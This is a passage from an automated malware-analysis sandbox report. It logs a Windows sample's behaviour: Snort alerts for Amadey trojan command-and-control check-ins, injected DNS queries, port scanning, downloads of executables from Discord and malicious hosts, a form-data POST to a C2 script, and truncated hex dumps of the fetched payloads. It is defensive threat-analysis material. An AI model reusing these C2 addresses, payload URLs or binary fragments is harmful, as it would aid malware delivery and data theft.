,BuildCommDCBW,UnregisterWaitEx,GlobalLock,GetVolumePathNamesForVolumeNameW,GetProcAddress,MoveFileExW,SetThreadContext,SetEvent,FindActCtxSectionStringW,_memset,SetDefaultCommConfigW,lstrcmpW,HeapSetInformation,GetConsoleMode,GetFileAttributesExW,GetPrivateProfileStructW,SetCriticalSectionSpinCount,GetPrivateProfileStructA,GetSystemTimeAdjustment,GetComputerNameA,GetPrivateProfileStringW,CloseHandle,ExitProcess,

0_2_004342F0

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 4x nop then call 00DE831Fh	9_2_00DE8309
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 4x nop then mov edx, dword ptr [ebp+08h]	9_2_00DF3DDD
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 4x nop then mov al, byte ptr [ecx]	9_2_00DF3DDD
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 4x nop then mov edx, dword ptr [ebp+08h]	9_2_00DF3E84
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 4x nop then mov ax, word ptr [ecx]	9_2_00DF3E84

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.4:49836 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49835 -> 185.215.113.35:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-7000.com
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: host-file-host-3.com
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com

Connects to many ports of the same IP (likely port scanning)

Show sources

Source: global traffic

TCP traffic: 45.9.20.149 ports 42871,1,2,4,7,8

Source: global traffic	HTTP traffic detected: GET /attachments/914960103592054858/914986994759794738/Underdosed.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=t42nernt19g8nsbjut69kb7u9v
Source: global traffic	HTTP traffic detected: POST /tratata.php HTTP/1.1Content-Type: multipart/form-data; boundary=----Q9RQQIMOZU3E3EKXHost: file-file-host4.comContent-Length: 104683Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=t42nernt19g8nsbjut69kb7u9v

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:13:57 GMTContent-Type: application/x-msdos-programContent-Length: 1285856Connection: closeLast-Modified: Mon, 29 Nov 2021 13:05:06 GMTETag: "139ee0-5d1ed16faf7da"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 20 3d 15 26 cf ba ee 2f 19 d3 60 ac 4f 9c ef f1 81 8e a1 4f 5b 97 45 f4 e8 76 69 7c ff 44 43 c7 9e 91 5b 41 d1 06 1c 81 dc 16 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b8 78 cc d8 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 10 03 00 00 72 0c 00 00 00 00 00 00 d0 0f 00 00 20 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 17 00 00 04 00 00 5c 1b 14 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 f4 01 00 00 00 60 03 00 58 6f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 00 00 10 00 00 00 50 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 6f 0c 00 00 60 03 00 58 6f 0c 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 40 07 00 00 d0 0f 00 dd 28 07 00 00 76 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:06 GMTContent-Type: application/x-msdos-programContent-Length: 163328Connection: closeLast-Modified: Tue, 30 Nov 2021 16:21:14 GMTETag: "27e00-5d203f23b200e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 53 ec f2 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 42 01 00 00 ec 74 02 00 00 00 00 12 2a 00 00 00 10 00 00 00 60 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 76 02 00 04 00 00 78 5b 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 e8 01 00 78 00 00 00 00 b0 75 02 18 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 61 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 95 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 40 01 00 00 10 00 00 00 42 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 90 00 00 00 60 01 00 00 92 00 00 00 46 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 75 73 02 00 00 02 00 00 18 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 65 66 65 67 00 00 72 02 00 00 00 80 75 02 00 04 00 00 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 67 75 79 75 73 00 00 70 02 00 00 00 90 75 02 00 04 00 00 00 f4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 76 65 6e 75 00 00 00 17 00 00 00 00 a0 75 02 00 02 00 00 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 72 73 72 63 00 00 00 18 83 00 00 00 b0 75 02 00 84 00 00 00 fa 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:10 GMTContent-Type: application/x-msdos-programContent-Length: 351744Connection: closeLast-Modified: Wed, 01 Dec 2021 08:14:01 GMTETag: "55e00-5d21141ab62f3"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 a1 50 fa 2e 39 50 94 58 92 50 d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 f2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50 fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 5f 95 6a 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 fe 03 00 00 40 09 00 00 00 00 00 30 d0 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0d 00 00 04 00 00 51 3b 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 f9 03 00 28 00 00 00 00 e0 0c 00 70 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0d 00 38 1d 00 00 c0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 c5 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae fd 03 00 00 10 00 00 00 fe 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 10 04 00 00 de 00 00 00 02 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 41 00 00 00 e0 0c 00 00 42 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 3b 00 00 00 30 0d 00 00 3c 00 00 00 22 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:13 GMTContent-Type: application/x-msdos-programContent-Length: 336896Connection: closeLast-Modified: Wed, 01 Dec 2021 08:14:01 GMTETag: "52400-5d21141aa49b3"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 a1 50 fa 2e 39 50 94 58 92 50 d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 f2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50 fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 c8 12 7d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c4 03 00 00 40 09 00 00 00 00 00 f0 94 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0d 00 00 04 00 00 38 71 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 bd 03 00 28 00 00 00 00 b0 0c 00 70 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 34 1d 00 00 c0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 8a 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6e c2 03 00 00 10 00 00 00 c4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 e0 03 00 00 de 00 00 00 c8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 41 00 00 00 b0 0c 00 00 42 00 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b6 3b 00 00 00 00 0d 00 00 3c 00 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:18 GMTContent-Type: application/x-msdos-programContent-Length: 2740224Connection: closeLast-Modified: Sun, 28 Nov 2021 10:30:25 GMTETag: "29d000-5d1d6cff91027"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 f6 17 4c 43 97 79 1f 43 97 79 1f 43 97 79 1f 57 fc 7a 1e 48 97 79 1f 57 fc 7c 1e e5 97 79 1f 57 fc 7d 1e 51 97 79 1f 57 fc 7e 1e 42 97 79 1f 11 e2 7d 1e 52 97 79 1f 11 e2 7a 1e 56 97 79 1f 11 e2 7c 1e 69 97 79 1f 57 fc 78 1e 50 97 79 1f 43 97 78 1f d0 97 79 1f f6 e2 70 1e 44 97 79 1f f6 e2 86 1f 42 97 79 1f f6 e2 7b 1e 42 97 79 1f 52 69 63 68 43 97 79 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 77 37 a3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 40 03 00 00 1c 01 00 00 00 00 00 10 52 46 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 6e 00 00 04 00 00 e5 b2 2a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fb 90 04 00 f8 00 00 00 00 a0 04 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 ed 3e 03 00 00 10 00 00 00 90 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 04 da 00 00 00 50 03 00 00 50 00 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 24 18 00 00 00 30 04 00 00 04 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 e0 01 00 00 00 50 04 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 1c 22 00 00 00 60 04 00 00 1e 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 10 00 00 00 90 04 00 00 02 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 10 00 00 00 a0 04 00 00 02 00 00 00 0a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 a0 41 00 00 b0 04 00 00 00 00 00 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 c4 27 00 00 50 46 00 00 c4 27 00 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Wed, 01 Dec 2021 08:14:20 GMTContent-Type: application/x-msdos-programContent-Length: 645592Connection: closeLast-Modified: Thu, 21 Oct 2021 11:48:30 GMTETag: "9d9d8-5cedb79317f80"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:28 GMTContent-Type: application/x-msdos-programContent-Length: 1143000Connection: closeLast-Modified: Tue, 30 Nov 2021 20:10:32 GMTETag: "1170d8-5d2072645dc9e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 1c 69 a3 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 60 11 00 00 06 00 00 00 00 00 00 9e 7e 11 00 00 20 00 00 00 80 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 11 00 00 02 00 00 09 35 12 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 50 7e 11 00 4b 00 00 00 00 80 11 00 bc 02 00 00 00 00 00 00 00 00 00 00 00 68 11 00 d8 08 00 00 00 a0 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 5e 11 00 00 20 00 00 00 60 11 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 02 00 00 00 80 11 00 00 04 00 00 00 62 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 11 00 00 02 00 00 00 66 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 